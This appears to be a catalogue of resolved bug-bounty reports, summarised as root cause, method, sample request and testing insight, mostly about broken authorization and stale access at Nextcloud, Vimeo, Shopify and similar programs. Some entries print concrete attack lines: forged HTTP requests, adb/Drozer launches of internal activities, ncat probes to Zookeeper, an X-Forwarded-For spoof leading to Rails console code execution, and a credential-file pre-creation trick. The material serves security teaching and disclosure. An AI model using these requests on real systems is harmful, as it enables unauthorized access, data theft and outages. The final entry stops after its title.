curl -s 'https://TARGET/index.php' # do NOT pass -L; read body of the 302 response
# vulnerable pattern:
if (!isset($_SESSION['shop']) || !isset($_SESSION['token'])) header("Location: login.php");
// ... protected page continues to render because no exit(); follows
Insight — Whenever server-side auth relies on a redirect, verify the process actually stops. A missing exit()/die() after header('Location') (or an equivalent early-return) is a classic access-control bypass: fetch without following redirects and inspect the body. Also causes full path disclosure.
Real-world example
Data keyed on reusable username + no purge on delete (data remanence)
◆ Low
Specimen #882258 · nextcloud · none · 3 votes · resolved
Program nextcloudSurface web
Root cause
Nextcloud Deck data is keyed on the (reusable) username rather than an immutable user id, and account deletion does not purge Deck data, so a newly created account with the same username inherits the previous owner's boards and cards.
Method
- Create user 'test' and add confidential Deck boards/cards
- As admin, delete the 'test' account
- Recreate an account with username 'test' (any password)
- Log in and observe all of the previous user's Deck data
(no request) create user X -> populate Deck -> delete X -> recreate user X -> data persists
Insight — Check whether app data is keyed on a mutable/reusable username vs an immutable UID, and whether account deletion hard-deletes app data. Username reuse over soft-deleted data is a cross-user disclosure primitive.
Real-world example
Stale-authorization bypass by replaying a captured state-changing request
◆ Low
Specimen #50776 · vimeo · awarded · 3 votes · resolved
Program vimeoSurface webTag account-takeover
Root cause
The server authorizes a mutating action (edit/add comment) only by the UI state at page load, not at request time; a captured request's token stays valid and is honored even after the owner revokes the relevant permission.
Method
- As a low-priv user, perform the action normally (edit/add a comment) and capture the POST in Burp
- Have the resource owner revoke the permission (disable comments / make video private / remove you from the group)
- Replay the captured request unchanged; the action still succeeds despite the UI now denying it
POST /118026546 HTTP/1.1
Host: vimeo.com
text=abcd&action=edit_comment&comment_id=12984882&token=<valid_token>
Insight — When permissions can be revoked (disable/private/kick), re-test every previously-authorized mutating request AFTER revocation. Servers often gate only the UI/read path and skip a fresh authorization check on the write endpoint.
Real-world example
Role restriction not enforced on scheduled-post state (API delete)
◆ Low
Specimen #148467 · vkcom · awarded · 3 votes · resolved
Program vkcomSurface api
Root cause
A community moderator is barred in UI from deleting content added by other admins, but the wall.delete API does not enforce this restriction for posts in the scheduled/timer-publish state, allowing deletion (and existence enumeration) of others' scheduled posts.
Method
- As a moderator, call wall.delete with owner_id=<community id> and post_id=<scheduled post id>
- response:1 confirms deletion of a scheduled post added by another admin
- Enumerate post ids to find/delete scheduled 'victims' (gaps between post ids)
https://vk.com/dev/wall.delete owner_id=-<community_id>&post_id=<scheduled_post_id>
Insight — Authorization checks are often written for the common object state and forgotten for edge states (scheduled/draft/archived). Test restricted role actions against every lifecycle state of an object, not just published ones.
Real-world example
Identifier reuse: recycled user-id inherits deleted account's resources
◆ Low
Specimen #549831 · nextcloud · awarded · 2 votes · resolved
Program nextcloudSurface web
Root cause
Resource ownership (external WebDAV storage config) is keyed on the user-id string rather than an immutable internal handle, and deletion does not purge those bindings, so a newly-created account that reuses a prior user-id gains the deleted user's access.
Method
- Delete an existing user account (user3) that had configured external storage
- Create a new account reusing the same user-id (user3)
- Observe the new user automatically has access to the deleted user's external WebDAV storage
# Delete user3 (had external WebDAV mount)
# Recreate user3 -> new user3 can browse old user3's mounted storage
Insight — Whenever accounts can be deleted and re-created with an admin-chosen username, test whether reusing a former username inherits its data, shares, group memberships, or mounts. Ownership must key on a non-reusable internal ID and deletion must cascade. Same idea applies to recycled emails/phone numbers gaining prior owner's linked resources.
Real-world example
Exported Android activity invoked directly to bypass registration/auth
◆ Low
Specimen #55064 · faceless · none · 2 votes · resolved
Program facelessSurface mobile-android
Root cause
An internal activity (ActivityAdd) is exported (or launchable) and performs no caller/auth check, so it can be started directly, skipping the app's setup/registration gate and letting an unregistered attacker publish content as the (later) registered user.
Method
- Enumerate exported activities: run app.activity.info -a im.delight.faceless
- Directly launch the internal compose activity, skipping the setup screen: run app.activity.start --component im.delight.faceless im.delight.faceless.ActivityAdd
- Type and Publish a message on the Write Message screen without ever completing setup/contact registration
- App later runs setup; the previously-published text is now attributed to the registered number/user
# enumerate
run app.activity.info -a im.delight.faceless
# invoke internal activity directly (bypass setup/auth)
run app.activity.start --component im.delight.faceless im.delight.faceless.ActivityAdd
# equivalent adb:
adb shell am start -n im.delight.faceless/.ActivityAdd
Insight — For any Android app with a signup/onboarding gate, enumerate exported (android:exported=true or intent-filtered) components with Drozer/`am start` and try to launch post-auth activities directly. Activities that assume they can only be reached after login frequently do no independent auth check, giving a state/authentication bypass.
Real-world example
Missing follow-relationship check on channel-share action
◆ Low
Specimen #52708 · vimeo · awarded · 1 votes · resolved
Program vimeoSurface web
Root cause
An action that is only meant to target users you have a relationship with (e.g. users you follow) validates the relationship only in the UI, not server-side. Supplying an arbitrary user_id in the POST body performs the action against any user.
Method
- Trigger the 'share channel' action so the app sends POST /channels/<channel_id> with action=send_message and a user_ids parameter.
- Replace user_ids with the ID of any arbitrary user you do NOT follow.
- Server processes the share without checking the follow relationship (HTTP 200), delivering the channel share to the target.
POST /channels/893054 HTTP/1.1
Host: vimeo.com
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Cookie: <session>; xsrft=<token>
action=send_message&user_ids=37857677&user_emails=&message=&token=<xsrft>&collection_type=channel
Insight — When a social/collaboration action is gated on a relationship (follow, friend, teammate, contact), test whether that gate is enforced server-side by injecting an arbitrary target ID. UI-only relationship checks are common; a raw ID in the request body frequently bypasses them.
Real-world example
Permission change not enforced on grandfathered actors (stale allow)
◆ Low
Specimen #3151001 · linkedin · awarded · 112 votes · resolved
Program linkedinSurface webTag account-takeover
Root cause
When a post owner disables comments, users who commented before the change retain the ability to add new comments; the permission is evaluated against prior participation, not the current setting.
Method
- Account A posts with comments enabled
- Account B comments
- Account A disables comments
- Account B can still post new comments
Insight — After a resource owner tightens a permission, re-test as an actor who already had access before the change; systems that cache/grandfather prior participation often fail to enforce the new restriction.
Real-world example
'No download' share restriction bypassed via client export/render
◆ Low
Specimen #2380133 · nextcloud · 250 · 46 votes · resolved
Program nextcloudSurface mobile-android
Root cause
A share flagged 'download disabled' still allowed the mobile viewer to render the file and use export functions ('Download as PDF/EPUB', 'Use image as wallpaper'), persisting the content to device storage - the restriction was enforced only against the direct download route.
Method
- Owner shares files with 'Allow download' unchecked
- Open the file in the mobile app viewer
- Use the viewer's export/save action (Download as..., Use image as..., Save as)
- File is written to device storage despite the no-download flag
Insight — View-only / no-download / no-copy restrictions are almost always bypassable through secondary output paths: export, print-to-PDF, save-as, screenshot, wallpaper, or the raw render endpoint. Enumerate every function that emits the content, not just the Download button.
Real-world example
Stale object state retains edit authorization (churned programs)
◆ Low
Specimen #411930 · security · 500 · 41 votes · resolved
Program securitySurface webTag account-takeover
Root cause
An authorization branch meant for 'external' programs still renders/accepts an Edit action for public programs in a churned state, letting a user edit fields (website, twitter, about, cover, logo) they shouldn't.
Method
- Find an object in an unusual lifecycle state (churned/archived/migrated).
- Check whether privileged UI/actions (Edit) still render.
- Submit an edit and confirm it persists.
Insight — Authorization logic often forgets edge-case object states. Enumerate archived/churned/legacy/soft-deleted records and retest every privileged action - state transitions are where authz checks are missed.
Real-world example
Ban-state not enforced on the collaborator-invite path
◆ Low
Specimen #1131306 · security · none · 37 votes · resolved
Program securitySurface web
Root cause
A user banned from a program can still be added to new reports as a collaborator; the ban is enforced on direct participation paths but not on the report-collaboration invite path, letting a banned user re-enter the program.
Method
- Program bans hacker A (A can no longer be invited normally)
- Hacker B submits a report to the same program with bounty-split enabled
- B invites banned hacker A as a collaborator on the report
- A accepts and participates despite the ban
Insight — When a security state (ban, suspension, revoked access, disabled account) is added, audit EVERY entry path that grants the same capability. Collaboration/invite/delegation/share side-channels often skip the block that the primary flow enforces.
Real-world example
App passcode/lock bypass by opening screen through a notification tap
◆ Low
Specimen #1784645 · nextcloud · awarded · 29 votes · resolved
Program nextcloudSurface mobile-android
Root cause
The Talk Android app's passcode gate guarded normal app launch but tapping a message notification opened the conversation activity directly, bypassing the passcode lock screen.
Method
- User B enables passcode protection in the Talk app settings
- User A sends User B a message
- A push notification appears on User B's device
- Tapping the notification opens the conversation directly without prompting for the passcode
Insight — For mobile app-lock/passcode features, test every alternate entry point: notification taps, deep links, exported activities, share intents, widgets, recent-apps resume. Locks that only guard the main launcher activity are trivially bypassed.
Real-world example
Access persists after removal because it was granted through an alternate (embedded submission) flow
◆ Low
Specimen #463828 · security · USD 500 · 29 votes · resolved
Program securitySurface webTag account-takeover
Root cause
Access granted via a secondary path (submitting through an embedded_submissions link) is not revoked when the user is removed/kicked from the program through the normal path, leaving a dangling authorization.
Method
- Admin creates an embedded_submissions link for a private program
- Attacker account submits a report via that link (gaining program access)
- Attacker leaves or is removed/kicked from the program
- Attacker can still load the private program's main page
Insight — Revocation logic often only covers the primary membership path. When access can be granted through multiple flows, verify each grant is torn down on removal - alternate grants frequently survive.
Real-world example
Stale authorization: subscribers not revoked on membership removal
◆ Low
Specimen #442843 · security · 500 · 21 votes · resolved
Program securitySurface web
Root cause
When a user leaves/is removed from a program their User object is left in the Report.subscribers relationship; the relationship is never pruned, so events like 'report transferred' fire notifications to users who no longer have access.
Method
- Be a subscriber to reports as a program member
- Leave / be removed from the program
- Because the subscriber relationship persists, trigger an event (report transfer) that fans out to Report.subscribers
- Removed users receive in-app notifications leaking report existence/metadata
Insight — Deauthorization must cascade to derived relationships (subscribers, watchers, ACL grants, cached memberships) - after removing a user, test whether events/notifications/derived lists still include them; teardown logic (TeamMember::Destroy) frequently misses these.
Real-world example
Missing step-up auth on mobile API for sensitive action
◆ Low
Specimen #1087382 · shopify · awarded · 19 votes · resolved
Program shopifySurface mobile-android
Root cause
Closing/selling a store requires password re-confirmation in the web app, but the mobile app performs the same action through an API path that omits the password/step-up check.
Method
- On web: Settings -> Plan & Permissions -> Sell/Close requires password confirmation
- On mobile: navigate to the same Sell/Close option
- The mobile flow closes the store with no password / verification
Insight — Security controls enforced on web are frequently missing on the mobile/API equivalent. For any sensitive action gated by re-auth on web, replay/inspect the mobile API call — the step-up check is often absent.
Real-world example
Residual privileged access after staff removal via linked external identity
◆ Low
Specimen #351519 · shopify · 500 · 18 votes · resolved
Program shopifySurface web
Root cause
Deprovisioning only revokes platform-side access; a linked external identity (Facebook Messenger connected to the Kit bot) keeps a live privileged channel, so a deleted/deactivated staff member continues issuing store actions.
Method
- Owner installs Kit and completes setup; invite staff with Apps permission
- As staff, connect your own Facebook/Messenger account to Kit
- Owner deletes/deactivates the staff account
- As the deleted staff, keep messaging Kit to create discount codes and pull business/ads/marketing analytics
Insight — After removing a user, test every out-of-band or linked channel they may retain: chat bots, OAuth-linked identities, API/app tokens, notification subscriptions. Deprovisioning routinely misses these side channels.
Real-world example
Download restriction enforced on download endpoint but not preview/thumbnail
◆ Low
Specimen #1745766 · nextcloud · none · 18 votes · resolved
Program nextcloudSurface web
Root cause
The 'Allow download' permission is checked on the file-download route but not on the preview/thumbnail route, which returns full-resolution images and the unwatermarked first page of documents.
Method
- Share a folder/file with 'Allow download' disabled
- As recipient, request the preview/thumbnail endpoint for the file
- Receive the full image or unwatermarked first page of the document
Insight — When a restriction is enforced on one endpoint, test sibling endpoints that serve the same underlying data: preview, thumbnail, export, print, ?download=0, version history. Access control is often applied per-route, not per-object.
Real-world example
Deactivated (vs deleted) account keeps receiving notifications
◆ Low
Specimen #331223 · shopify · 500 · 16 votes · resolved
Program shopifySurface web
Root cause
Deactivating a staff account does not tear down its notification subscription, so a removed staffer keeps receiving customer order emails; only full deletion stops them.
Method
- Staff with settings permission adds self as an order-notification recipient
- Owner deactivates (not deletes) the staff account
- Create a new order - the deactivated staffer still receives the order email with customer details
Insight — Distinguish deactivate vs delete in access-control testing. Deprovisioning must also remove side subscriptions (email/webhook/notification recipients, saved exports). Check that disabling an account revokes every derived data flow, not just login.
Real-world example
Role downgrade not enforced on active session/view
◆ Low
Specimen #1587246 · linkedin · awarded · 13 votes · resolved
Program linkedinSurface web
Root cause
When a user's page role is lowered (super admin -> analyst), an already-open session/UI keeps the higher-privilege capabilities because the authorization is evaluated at page load and not re-checked per action, so the demoted user can still perform privileged actions until they refresh.
Method
- Add victim account as super admin on a page
- Have that account open the page (keep the session/tab open)
- Change the account's role down to analyst
- Without refreshing, perform a super-admin-only action (publish a post) — it succeeds
Insight — Authorization must be enforced server-side per request, not cached in the client session from the moment of login. Test privileged actions from a session that was opened before a role/permission was revoked; stale-capability windows are common in admin/role-management UIs.
Real-world example
Mobile app-lock bypass via rapid open/back race
◆ Low
Specimen #507172 · nextcloud · awarded · 12 votes · resolved
Program nextcloudSurface mobile-android
Root cause
The app-lock (PIN/biometric) gate is drawn as an overlay after the main activity resumes; rapidly launching and backing out of the app wins the race and exposes the underlying file list before the lock renders.
Method
- Enable app-lock (PIN/fingerprint) and confirm it prompts on relaunch
- Force-close the app
- Quickly open the app and press back repeatedly in fast succession
- Observe a flash of the file list; time it to interact before the lock draws
Insight — App-lock implemented in the activity lifecycle (onResume) rather than blocking rendering is racey. On any mobile lock feature, test fast task-switching, back-button spam, orientation change, and recents to slip in before the overlay draws.
Real-world example
Invitation cancel does not revoke already-accepted access
◆ Low
Specimen #66151 · security · awarded · 6 votes · resolved
Program securitySurface web
Root cause
Cancelling a pending report invitation only invalidated the unused email token; if the invitee had already accepted, cancellation did not remove their access, leaving a stale participant on the report.
Method
- User A invites B to a report by email
- B accepts and gains access
- A cancels the still-'pending'-looking invitation and sees a success message
- B still retains access to the report
Insight — Revocation UIs often act on the token, not the granted relationship. Test the revoke path in both states: before and after the invitee accepts; a mistyped/malicious invitee may keep access after 'cancel'.
Real-world example
Stale share-token: access persists after user is removed from group
◆ Low
Specimen #673724 · nextcloud · USD 200 · 5 votes · resolved
Program nextcloudSurface web
Root cause
A group (circle) share creates a single non-user-specific link token distributed to members; removing a member does not revoke or rotate the token, so anyone who kept the link retains access. The forced-password requirement for link shares is also not applied to these mail shares.
Method
- Add an email member to a group/circle and share a folder with the group.
- Capture the share link/token delivered to that member.
- Remove the member from the group.
- Access the old link - it still works (and, if password-protection was forced, it opens without a password).
Insight — Whenever access is granted via a shared, non-per-user token, test the revocation path: removing membership should invalidate/rotate the token. Persistent capability URLs are a recurring 'stale access after removal' class. Also test that forced-password policies actually cover every share type.
Real-world example
Stale authorization: notifications persist after leaving a team
◆ Low
Specimen #63729 · security · 500 · 4 votes · resolved
Program securitySurface web
Root cause
Leaving a team does not revoke the user's subscription to that team's report notifications, so a removed member keeps receiving updates about bugs they should no longer have access to and cannot unsubscribe.
Method
- Be a member of a team with access to reports and their notifications
- Leave/be removed from the team
- Observe you still receive email notifications about the team's report updates
- Confirm no UI path exists to remove yourself from the notification list
Insight — Deprovisioning is a distinct access-control surface: after a role/membership is revoked, re-check every downstream data flow - notifications, webhooks, active sessions, API tokens, cached ACLs. Continued notifications after removal is both an authorization leak and an information-disclosure channel.
Real-world example
Disabled front-end form field is not server-side access control
◆ Low
Specimen #131192 · coinbase · awarded · 2 votes · resolved
Program coinbaseSurface webTag account-takeover
Root cause
A profile field (legal name) was made read-only only by disabling the front-end input; the backend still accepted the parameter, so it could be modified by re-enabling the field in devtools or crafting the POST manually.
Method
- Locate a field shown as locked/disabled in the UI (e.g. legal name)
- Re-enable the input via browser devtools, or craft the update POST with the field's parameter name and desired value
- Server accepts the change despite the front-end restriction
Insight — Treat every UI-disabled/read-only/hidden field as attacker-controllable. Enumerate the parameter names the update endpoint accepts (from GET responses or by adding fields) and test whether server-side authorization actually enforces immutability - overlaps directly with mass-assignment testing.
Real-world example
Credential-file precreation (missing O_EXCL) -> ownership + secret leak
◆ Info
Specimen #2425873 · monero · none · 75 votes · resolved
Program moneroSurface desktopTag account-takeover
Root cause
wallet_rpc_server writes RPC username/password into a predictably-named file opened with O_RDONLY|O_CREAT (no O_EXCL); if an attacker pre-creates that file, open() reuses it, preserving the attacker's ownership/permissions so the daemon writes secrets into an attacker-owned file.
Method
- On a shared host, predict the file name monero-wallet-rpc.<port>.login
- As attacker, touch the file and chmod a+rwx before the victim starts the RPC
- Victim starts monero-wallet-rpc --rpc-bind-port <port>; daemon writes creds into the pre-existing attacker-owned file
- Attacker reads the .login file and obtains RPC credentials
# attacker
touch monero-wallet-rpc.16969.login
chmod a+rwx monero-wallet-rpc.16969.login
# victim starts RPC on port 16969; then attacker:
cat monero-wallet-rpc.16969.login
Insight — Any code that creates a secret/temp file in a shared/predictable path without O_EXCL (or O_CREAT|O_EXCL) is a file-precreation/ownership-hijack vuln. Grep sources for open(...O_CREAT...) lacking O_EXCL, and for fixed-name temp files under world-writable dirs.
Real-world example
Password-protected video watched via like + Couchmode ACL gap
◆ Info
Specimen #155618 · vimeo · awarded · 44 votes · resolved
Program vimeoSurface webChain config endpoint leaks like-tokens -> /like adds protectedTag account-takeover
Root cause
Two independent gaps chain: the player config/like endpoints don't require the video password (config exposes session/signature/timestamp tokens, and /like accepts them), and Couchmode plays liked/watch-later videos without prompting for the password.
Method
- Open https://player.vimeo.com/video/VIDEO_ID/config to obtain session/signature/timestamp tokens (no password required)
- POST those tokens to /video/VIDEO_ID/like (or watch_later) to add the protected video to your list
- Open Couchmode, which plays liked/watch-later videos without asking for the password
- Watch the protected content
GET https://player.vimeo.com/video/VIDEO_ID/config # returns like tokens
POST https://player.vimeo.com/video/VIDEO_ID/like # tokens as body -> video 'liked'
# then open Couchmode -> plays without password
Insight — Protected-content ACLs must be enforced on every state-change and playback path. Look for auxiliary endpoints (config, like, watch-later, download, transcode) that hand out tokens or add items without the gate, then a second surface that trusts that list. Chain two weak links into a full bypass.
Real-world example
Privacy bypass via alternate (AppleTV) API endpoint
◆ Info
Specimen #145467 · vimeo · awarded · 43 votes · resolved
Program vimeoSurface apiTag account-takeover
Root cause
A secondary device/app API (AppleTV: /api/atv/clip/ID) served video metadata and a signed play URL without enforcing the privacy controls (password / 'only me') that the main web app enforced, so restricted content was fully downloadable.
Method
- Take the numeric video ID of a private/password-protected video
- Request the alternate API: /api/atv/clip/ID to get metadata + a play URL
- Follow the play URL to obtain the signed media-url and download the mp4
https://vimeo.com/api/atv/clip/171116158/
-> /api/atv/clip/171116158/play?signature=...×tamp=...
-> media-url: https://...googleapis.com/videos/550779256?...Signature=...
Insight — Access control is often enforced only on the primary web/API surface. Enumerate alternate clients (AppleTV /atv, mobile, /api/*, legacy endpoints) for the same object ID; they frequently skip privacy/authorization checks and hand back signed download URLs.
Real-world example
Path-based access control bypass via case variation
◆ Info
Specimen #2078527 · indrive · none · 41 votes · resolved
Program indriveSurface apiTag account-takeover
Root cause
A restricted endpoint was blocked by a case-sensitive deny rule while the app router matched paths case-insensitively, so requesting the same path in a different case bypassed the restriction and exposed internal metrics.
Method
- Identify a 403/forbidden restricted path (e.g. /api/metrics)
- Re-request with case changed (/api/METRICS)
- Receive 200 with the protected content
curl -X GET "https://target/api/metrics" # 403
curl -X GET "https://target/api/METRICS" # 200 (bypass)
Insight — When a path is blocked (403/401), fuzz case (/ADMIN, /Metrics), trailing chars (/metrics/, /metrics/.), encodings and %2e tricks. Proxies/WAFs and access rules are frequently case-sensitive while the backend router is case-insensitive, so a single case flip reaches the protected handler.
Real-world example
Non-expiring preview token surviving app uninstall
◆ Info
Specimen #915940 · shopify · awarded · 33 votes · resolved
Program shopifySurface web
Root cause
A Script Editor preview token (preview_script_id) never expires and remains valid even after the app is uninstalled and the script unpublished, so a former collaborator can keep applying cart discounts; a zero-width script name suppresses the admin UI deep-link that would reveal it.
Method
- As a store collaborator, create/preview a script and capture the preview_script_id token
- Uninstall the app / unpublish the script
- Reuse the token to apply discounts to carts
- PATCH the script name to a zero-width space so the order-timeline hyperlink and edit page vanish from the admin UI
GET /admin/scripts/preview?script_id={id} -> redirect /cart?preview_script_id={token}
# token still valid post-uninstall
PATCH https://script-editor.shopifycloud.com/scripts/{id} {"name":"\u200b"} # zero-width space hides UI link
Insight — Preview/impersonation/one-time tokens often lack expiry and lifecycle binding (survive uninstall/logout/role change); test whether such tokens keep working after the granting condition is removed. Zero-width/empty names are a UI-suppression trick to hide artifacts.
Real-world example
Admin-only endpoint reachable by normal users (forced browsing via JS-discovered actions)
◆ Info
Specimen #300454 · eternal · USD 200 · 26 votes · resolved
Program eternalSurface web
Root cause
A server-side handler intended only for admins (restaurant_menus_handler.php) enforces no role check, so any authenticated user can POST its actions (discovered in a JS file) to modify data belonging to any object.
Method
- Read front-end JS to enumerate the handler and its actions (menu_collected, toggle-res-menu-type, clear_menu_tool, change-menu-type)
- As a normal user, POST the action with a target res_id
- Observe the state change (menu edited/removed) on any restaurant
$.ajax({url:"/php/restaurant_menus_handler.php",type:"POST",data:{action:"toggle-res-menu-type",res_id:<TARGET>}})
Insight — Mine JS bundles for privileged endpoints/action names, then replay them with a low-priv session. Missing function-level authorization on 'admin' handlers is common; the action list is usually right there in the client code.
Real-world example
Unauthorized data via GraphQL WS subscriptions (no per-event authz)
◆ Info
Specimen #1023669 · shopify · awarded · 25 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
A GraphQL WebSocket accepted a staff token (harvested from a GetToken op) and let the connection subscribe to arbitrary event streams (conversation/message/participant) with no permission check on the events.
Method
- Log in as a no-permission staff; grab the argus token from the GetToken GraphQL response
- Open the wss endpoint (websocat or Burp WS repeater) and send connection_init with that token
- Send subscription 'start' frames for eventName: conversation/message/participant/read_state
- Trigger a chat; receive customer messages/order links
wss://argus.shopifycloud.com/graphql?shop_id={id}
{"type":"connection_init","payload":{"Authorization":"{token}"}}
{"id":"1","type":"start","payload":{"variables":{"eventName":"message"},"operationName":"EventSubscription","query":"subscription EventSubscription($eventName:String!){eventReceived(eventName:$eventName){payload userId remoteIp __typename}}"}}
Insight — GraphQL subscriptions are frequently authorized only at connect time, not per-subscribed-event; enumerate eventName values over an authenticated socket.
Real-world example
Unauthenticated Zookeeper (2181) four-letter commands
◆ Info
Specimen #154369 · shopify · 1000 · 20 votes · resolved
Program shopifySurface network
Root cause
Zookeeper ships with no authentication; an exposed :2181 lets anyone run the 'four-letter word' admin commands to read cluster state and even kill the server.
Method
- Port-scan for open 2181; banner-grab confirms Zookeeper
- Send four-letter commands over raw TCP: ruok, stat, envi, dump, reqs, conf
- dump/stat leak sessions, client IPs, node paths; kill shuts the server (DoS)
echo ruok | ncat TARGET 2181 # imok
echo stat | ncat TARGET 2181
echo envi | ncat TARGET 2181
echo dump | ncat TARGET 2181
Insight — Treat exposed infra services (Zookeeper 2181, Redis 6379, Elasticsearch 9200, Memcached 11211) as unauthenticated by default. Simple banner + four-letter probes prove access; internal topology leak feeds further pivoting.
Real-world example
App-wide signature token overrides per-user RBAC
◆ Info
Specimen #156520 · algolia · 400 · 19 votes · resolved
Program algoliaSurface apiChain signature harvest -> /1/admin/userlogs -> full cross-i
Root cause
Privileged /1/admin/* REST endpoints authorize using an application-scoped 'signature' value (exposed in the dashboard page source) that is independent of the user's API key and ignores per-user ACLs; it also does not rotate when the admin key is regenerated.
Method
- Join an app as a low-privilege team member
- On the 'access denied' dashboard, read the 'signature' value from page source
- POST it to /1/admin/listindexes, /1/admin/userlogs, /1/admin/stats/<index> with the applicationID
- userlogs returns full request+response bodies of every query = full data dump; access persists after member removal / key rotation
POST /1/admin/userlogs HTTP/1.1
Host: c5-eu-1.algolianet.com
Content-Type: application/json
{"applicationID":"APP_ID","signature":"SIGNATURE","offset":0,"length":1000,"type":"all"}
Insight — Hunt for parallel authorization tokens (signatures, HMACs, legacy admin params) that bypass the normal RBAC/API-key layer. If a value in page source authorizes privileged endpoints and never rotates, removed users retain indefinite access.
Real-world example
RBAC bypass via object references in comments
◆ Info
Specimen #154405 · shopify · awarded · 19 votes · resolved
Program shopifySurface web
Root cause
A staff member restricted from orders/customers can still leak their data by inserting a resource reference (#O<orderID>, #C<customerID>) into a timeline comment on a resource they CAN access; the server renders the referenced object's summary without checking the author's permission on that object.
Method
- Log in as staff with access to products/transfers but not orders/customers
- Post a timeline comment on an allowed resource, intercept the request
- Replace the referenced ID with a target order/customer ID: [#O<id>|x] or [#C<id>|x]
- Saved comment renders the order/customer name, email, etc.
POST /admin/transfers/774529/timeline_comments HTTP/1.1
Host: shop.myshopify.com
Content-Type: multipart/form-data; boundary=X
--X
Content-Disposition: form-data; name="timeline_comment[body]"
[#O3599995137|Order]
--X--
Insight — Mention/reference/link-preview features are a classic RBAC bypass: the renderer resolves the referenced object without re-checking the requester's authorization. Fuzz referenced IDs to reach objects you cannot open directly.
Real-world example
WP REST API context=edit dumps all users unauthenticated
◆ Info
Specimen #138244 · wp-api · awarded · 17 votes · resolved
Program wp-apiSurface apiTag account-takeover
Root cause
The users endpoint applies no access control for the privileged 'edit' context, so an unauthenticated request returns every user's username, email, names, registration date and privilege details.
Method
- Send unauthenticated GET /wp-json/wp/v2/users?context=edit
- Receive full PII + role data for all registered users
GET /wp-json/wp/v2/users?context=edit
Insight — APIs with a 'context'/'view' switch (edit vs view) may forget to authorize the privileged context; always try context=edit / expand / admin flags unauthenticated.
Real-world example
Unauthenticated cache purge via HTTP PURGE
◆ Info
Specimen #1911568 · fastly-vdp · none · 16 votes · resolved
Program fastly-vdpSurface web
Root cause
A Varnish/Fastly-fronted site exposes the PURGE method without authentication, letting anyone evict cached objects.
Method
- Confirm the site is cached: look for via: varnish, x-cache: HIT, x-cache-hits headers
- Send an unauthenticated PURGE request and observe a success JSON body
curl --head https://TARGET/ # look for 'via: 1.1 varnish', 'x-cache: HIT'
curl -X PURGE https://TARGET/ # -> {"status":"ok","id":"..."}
Insight — Whenever caching headers (via: varnish, x-cache, age) are present, test the PURGE (and BAN) methods unauthenticated. Successful purge enables cache/DoS abuse and can be paired with cache poisoning for higher impact.
Real-world example
Missing function-level authz on transaction-signing endpoint
◆ Info
Specimen #172733 · shopify · USD 500 · 15 votes · resolved
Program shopifySurface apiTag file-uploadTag account-takeover
Root cause
/admin/secure_files.json performs no per-permission check, so any staff user without transaction rights can attach a signature file to any order_transaction_id (the uploaded SVG can also carry stored XSS).
Method
- As a low/no-permission staff user, POST to /admin/secure_files.json with type=signatures and a target order_transaction_id
- Server stores the signature and returns its S3 URL
- Signature appears on the order/transaction page
POST /admin/secure_files.json
{"secure_file":{"filetype":"svg","content":"<base64 SVG>","type":"signatures","order_transaction_id":"<TX_ID>"}}
Insight — Enumerate admin JSON endpoints and test each with a deliberately under-privileged staff account (BFLA); signing/finance actions are frequently missing granular permission checks. SVG content field doubles as a stored-XSS vector.
Real-world example
IP-whitelist bypass via IPv6 parser differential -> Rails Web Console RCE (CVE-2015-3224)
◆ Info
Specimen #44513 · rails · awarded · 13 votes · resolved
Program railsSurface webChain header spoof -> IP allowlist bypass -> Web Console evaTag account-takeover
Root cause
Rails Web Console restricts the eval console to 127.0.0.1/::1, but request.remote_ip is derived from X-Forwarded-For/Client-IP by stripping trusted proxies with a regex (^::1$) while Web Console checks the value with Ruby's IPAddr. Different notations of the same IPv6 address parse differently between the two, so a value that IPAddr treats as ::1 slips past the regex and the console trusts the attacker.
Method
- Find a Rails 4.0/4.1 app with Web Console enabled (dev/test)
- Send a request with a spoofed forwarded IP in a notation the TRUSTED_PROXIES regex misses but IPAddr canonicalizes to ::1
- Access /console and eval arbitrary Ruby -> RCE
X-Forwarded-For: 0000::1
Insight — Whenever two components parse the same identifier (IP, host, URL, path) with different libraries, look for a canonicalization differential: a value that is 'untrusted' to the allowlist regex but 'trusted' to the consumer. Alternate IPv6 notations (0000::1, ::ffff:127.0.0.1) are classic. Any debug/console endpoint gated only by client IP is high-value.
Real-world example
Authorization enforced on list page but not on direct object URL
◆ Info
Specimen #59505 · drchrono · awarded · 11 votes · resolved
Program drchronoSurface webChain revoked permission → forced-browse object URL → read/modify
Root cause
Revoking a staff role's Create/Update-patients permission blocks the patient list page (/patients/) but the per-patient detail URL (/patients/<id>/) is not permission-checked, so the staff member still reads and modifies patient records directly.
Method
- Revoke the Create/Update permission for a staff role
- Confirm the list/index page now returns 'no permission'
- Browse directly to a per-object URL (/patients/<id>/)
- Object is accessible and editable despite the revoked permission
GET https://<tenant>/patients/ -> 'You do not have permission'
GET https://<tenant>/patients/56958243/? -> accessible + editable
Insight — Menu/index-page authorization is not object authorization. After any permission is removed, forced-browse the underlying object/action URLs directly; broken function-level and object-level checks frequently live one layer below the page that was locked.
Real-world example
Forced browsing to an admin-only panel the UI hides via redirect
◆ Info
Specimen #1563139 · phabricator · USD 300 · 10 votes · resolved
Program phabricatorSurface web
Root cause
The app hides the global default settings panel by redirecting /settings/ to a per-user page, but the underlying admin URL /settings/builtin/global/ has no server-side authorization check, so any user can open and edit it.
Method
- Navigate directly to the admin URL the UI redirects away from (/settings/builtin/global/)
- Edit global defaults (theme, language, notifications) as a normal user
GET /settings/builtin/global/ HTTP/1.1
Insight — UI hiding is not authorization. When a settings/admin route redirects, request the canonical admin sub-path directly. Enumerate /builtin/, /global/, /admin/ variants that the front end never links.
Real-world example
BFLA: permission enforced in UI only — device-registration endpoint reachable without privilege
◆ Info
Specimen #100938 · shopify · USD 500 · 10 votes · resolved
Program shopifySurface apiTag account-takeover
Root cause
An admin without the 'Settings' permission cannot add mobile notifications through the UI, but the underlying endpoint POST /admin/mobile_devices.json performs no authorization check. The unprivileged user registers their own APNS device and receives order notifications they should not have access to.
Method
- Log into the app with a full-access account and intercept POST /admin/mobile_devices.json
- Reduce the account's permissions (remove Settings) and remove the notification in the UI
- Replay the captured POST /admin/mobile_devices.json
- Place an order — the (now unprivileged) device receives the notification
POST /admin/mobile_devices.json # registers attacker's APNS token; no permission check server-side
Insight — UI-gated features routinely leave their backing endpoints unauthorized. Capture the request while privileged, then replay it after dropping to a low-privilege role (A-B-A testing). If it still works, the authorization lives only in the front-end. Especially check device/notification/webhook registration endpoints.
Real-world example
WebDAV COPY not permission-checked — write to a read-only share
◆ Info
